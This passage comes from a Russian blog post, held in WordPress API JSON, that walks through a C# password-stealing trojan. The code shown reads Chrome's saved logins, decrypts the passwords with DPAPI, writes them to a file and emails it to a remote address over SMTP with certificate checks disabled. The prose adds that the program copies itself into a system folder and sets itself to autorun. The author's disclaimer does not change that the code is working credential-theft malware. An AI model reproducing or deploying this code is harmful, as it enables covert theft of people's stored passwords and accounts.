\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f.                                 \/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445             string ConnectionString = &quot;data source=&quot; + db_way + &quot;;New=True;UseUTF16Encoding=True&quot;;             DataTable DB = new DataTable();             string sql = string.Format(&quot;SELECT * FROM {0} {1} {2}&quot;, db_field, &quot;&quot;, &quot;&quot;);              using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))             {                 SQLiteCommand command = new SQLiteCommand(sql, connect);                 SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);                 adapter.Fill(DB);                 int rows = DB.Rows.Count;                  for (int i = 0; i &lt; rows; i++)                 {                     Writer.Write(i + 1 + &quot;) &quot;); \/\/ \u0417\u0434\u0435\u0441\u044c \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043d\u0430\u0448\u0435\u0439 \u0442\u0440\u043e\u0438\u0446\u044b &quot;\u0421\u0430\u0439\u0442-\u043b\u043e\u0433\u0438\u043d-\u043f\u0430\u0440\u043e\u043b\u044c&quot;.                      Writer.WriteLine(DB.Rows[i][1] + &quot;&lt;br&gt;&quot;); \/\/\u042d\u0442\u043e \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u0430\u0439\u0442                     Writer.WriteLine(DB.Rows[i][3] + &quot;&lt;br&gt;&quot;); \/\/\u042d\u0442\u043e \u043b\u043e\u0433\u0438\u043d                                                               \/\/ \u0417\u0434\u0435\u0441\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043f\u0430\u0440\u043e\u043b\u044f                     byte[] byteArray = (byte[])DB.Rows[i][5];                     byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);                     string password = new UTF8Encoding(true).GetString(decrypted);                     Writer.WriteLine(password + &quot;&lt;br&gt;&lt;br&gt;&quot;);                 }              }              Writer.Close();         }         catch         {   }     }      static void Send()     {         MailAddress from = new MailAddress(&quot;l**************d@gmail.com&quot;, &quot;Passwords&quot;);         MailAddress to = new MailAddress(&quot;a***********v@yandex.ru&quot;);         MailMessage m = new MailMessage(from, to);         m.Subject = (DateTime.Now).ToString();         m.Body = &quot;&quot;;         m.IsBodyHtml = true;         SmtpClient smtp = new SmtpClient(&quot;smtp.gmail.com&quot;, 587); ;         smtp.Credentials = new NetworkCredential(&quot;l*****************d@gmail.com&quot;, &quot;q********l&quot;);         smtp.EnableSsl = true;         ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };         m.Attachments.Add(new Attachment(filename));         try         {             smtp.Send(m);         }         catch { }     }   }<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u0411\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 <a href=\"https:\/\/habr.com\/ru\/post\/134982\/\">\u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u0425\u0440\u043e\u043c\u0435<\/a>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043b\u0435\u0433\u043a\u043e \u0433\u0443\u0433\u043b\u0438\u0442\u044c\u0441\u044f \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0431\u0449\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435. <\/p>\n<p>  \u0412\u0441\u0435, \u0447\u0442\u043e \u0431\u044b \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0431\u044b \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0432 \u0442\u0440\u043e\u044f\u043d\u0430 \u2014 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u00ab\u0437\u0430\u0440\u0430\u0437\u0438\u0442\u044c\u00bb \u0438\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u0443 \u0438 \u043d\u0430\u0443\u0447\u0438\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.<br \/>  \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0432 main \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u044d\u0442\u0430\u043f\u043e\u0432. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Registr \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u0432 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u0435\u0431\u044f \u0432 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u0431\u043b\u043e\u043a\u0435 Generate \u2014 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u0438\u043a \u0441 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0438 \u043b\u043e\u0433\u0438\u043d\u0430\u043c\u0438, \u0442\u0443\u0442 \u0432\u0441\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043e, \u043d\u043e \u0431\u041e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0434\u0435\u0441\u044c \u2014 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u041a\u043e\u0434 \u043f\u0440\u043e\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e \u043c\u0435\u0441\u0442\u0443, \u0442\u0443\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0442\u044c\u0441\u044f \u043d\u0435 \u0432\u0438\u0436\u0443 \u0441\u043c\u044b\u0441\u043b\u0430. \u041d\u0443 \u0438 \u043d\u0430\u043a\u043e\u043d\u0435\u0446 \u0444\u0443\u043d\u043a\u0446\u0438\u044f Send \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b \u0441 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u043d\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443. \u041a\u043e\u0434 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0445 \u043f\u043e\u0437\u043d\u0430\u043d\u0438\u0439 \u0441\u043e\u043a\u0435\u0442\u043e\u0432 \u0438 \u0441\u0442\u0435\u043a\u0430 TCP\/IP \u2014 \u0432 .NET \u0432\u0441\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u044f\u0442\u043d\u043e \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u043e \u0432 \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043f\u043e\u0447\u0442\u043e\u0439. \u041f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043b\u044e\u0431\u043e\u043c \u0438\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 FTP \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u043e \u0447\u0442\u043e \u0431\u044b \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u2014 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0447\u0442\u043e\u0439.<\/p>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435, \u0437\u0430 \u043f\u043e\u043b\u0447\u0430\u0441\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043a\u043e\u0434\u043e\u043c \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043b\u043e\u0432\u0438\u0442\u0441\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438, \u043d\u043e \u0435\u0441\u043b\u0438 \u043d\u0435 \u0431\u0440\u0430\u0442\u044c \u044d\u0442\u043e \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e. \u0410 \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u043b\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u043e\u0442\u043d\u0438 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430. \u0421\u0435\u0439\u0447\u0430\u0441 \u0436\u0435 \u044d\u0442\u043e \u0437\u0430\u043d\u044f\u043b\u043e \u043f\u0430\u0440\u0443 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043c\u0438\u043d\u0443\u0442.<\/p>\n<p>  \u0425\u043e\u0440\u043e\u0448\u043e \u044d\u0442\u043e \u0438\u043b\u0438 \u043f\u043b\u043e\u0445\u043e? \u0412\u043e\u043f\u0440\u043e\u0441 \u043e\u0447\u0435\u043d\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u044e \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u043f\u0440\u0438\u0442\u043e\u043a \u043a\u0430\u0434\u0440\u043e\u0432, \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u043f\u0440\u043e\u0449\u0435, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0441\u0442\u0430\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0430 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u044b\u043d\u043e\u0447\u043d\u043e\u0439 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0438 \u044d\u0442\u043e \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u0432\u0435\u0434\u044c \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0446\u0438\u044f \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e. \u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043d\u0438\u0437\u043a\u0438\u0439 \u043f\u043e\u0440\u043e\u0433 \u0432\u0445\u043e\u0434\u0430 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0438\u0437\u043a\u043e- \u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0434\u0440\u043e\u0432, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u0436\u0435 \u0436\u0435\u043b\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u0430\u0436\u0435 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0432\u0441\u0435\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u044e\u0449\u0438\u0445 \u0440\u0430\u0431\u043e\u0442\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u2014 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u044f\u0437\u044b\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u0434\u0435\u0431\u0430\u0433\u0433\u0435\u0440\u044b \u0438 \u0442.\u0434.<\/p>\n<p>  \u041d\u0443 \u0438 \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e \u2014 \u0440\u0430\u0437 \u0441\u0442\u0430\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0431\u043e\u043b\u044c\u0448\u0435 \u0441\u0442\u0430\u043b\u043e \u0438 \u0432\u0438\u0440\u0443\u0441\u043e\u0432. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0439 \u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0443\u043c\u0435\u0435\u0442 \u0438\u0445 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u2014 \u043d\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0438\u0437 \u043f\u0438\u0441\u0435\u043c \u0438 \u043d\u0435 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043b\u0435\u0448\u043a\u0438. \u041d\u043e \u0444\u0430\u043a\u0442 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u043a\u0442\u043e\u043c \u2014 \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0432\u0438\u0440\u0443\u0441 \u0443\u043c\u0435\u0435\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0442\u0430\u0440\u0448\u0435\u043a\u043b\u0430\u0441\u0441\u043d\u0438\u043a \u2014 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b \u0441\u0442\u0430\u043b\u0438 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u0435\u0435, \u0447\u0435\u043c \u043f\u0430\u0440\u0443 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434.<\/p>\n<p>  <i>\u0410\u0432\u0442\u043e\u0440 \u043d\u0438 \u043a\u043e\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u0437\u0430\u043a\u043e\u043d\u0443.<\/i><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/493942\/\"> https:\/\/habr.com\/ru\/post\/493942\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/493942\/\">\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e.<\/p>\n<p>  \u0412 \u043d\u0430\u0448\u0438 \u0434\u043d\u0438 \u043f\u043e\u0440\u043e\u0433 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043c\u0438\u0440 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u043f\u0430\u043b \u2014 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u043d\u0430 \u0437\u0430\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u044d\u043f\u043e\u0445\u0438, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0447\u0435\u043c-\u0442\u043e \u0438\u0437 \u0440\u044f\u0434\u0430 \u0432\u043e\u043d \u0432\u044b\u0434\u0430\u044e\u0449\u0438\u043c\u0441\u044f, \u00ab\u0443\u0434\u0435\u043b\u043e\u043c \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445\u00bb, \u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u0435\u0439\u043b\u043e\u0433\u0433\u0435\u0440 \u0438\u043b\u0438 \u0447\u0435\u0440\u0432\u044f \u043c\u043e\u0436\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0448\u043a\u043e\u043b\u044c\u043d\u0438\u043a, \u0445\u043e\u0442\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u043c\u0435\u044e\u0449\u0438\u0439 \u0433\u0443\u0433\u043b\u0438\u0442\u044c \u0438 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c. \u041d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043a\u0430\u043a\u0438\u043c\u0438-\u043b\u0438\u0431\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438, \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0444\u0442, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0438\u0442\u044c \u043d\u0435\u043c\u0430\u043b\u043e \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u041f\u041a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e \u0442\u0435\u043c \u0438\u043b\u0438 \u0438\u043d\u044b\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u044e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u043c\u0438.<\/p>\n<p>  \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043c\u044b\u0441\u043b\u0435\u0439 \u043e \u0442\u043e\u043c \u2014 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-300687","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/300687","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=300687"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/300687\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=300687"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=300687"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=300687"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}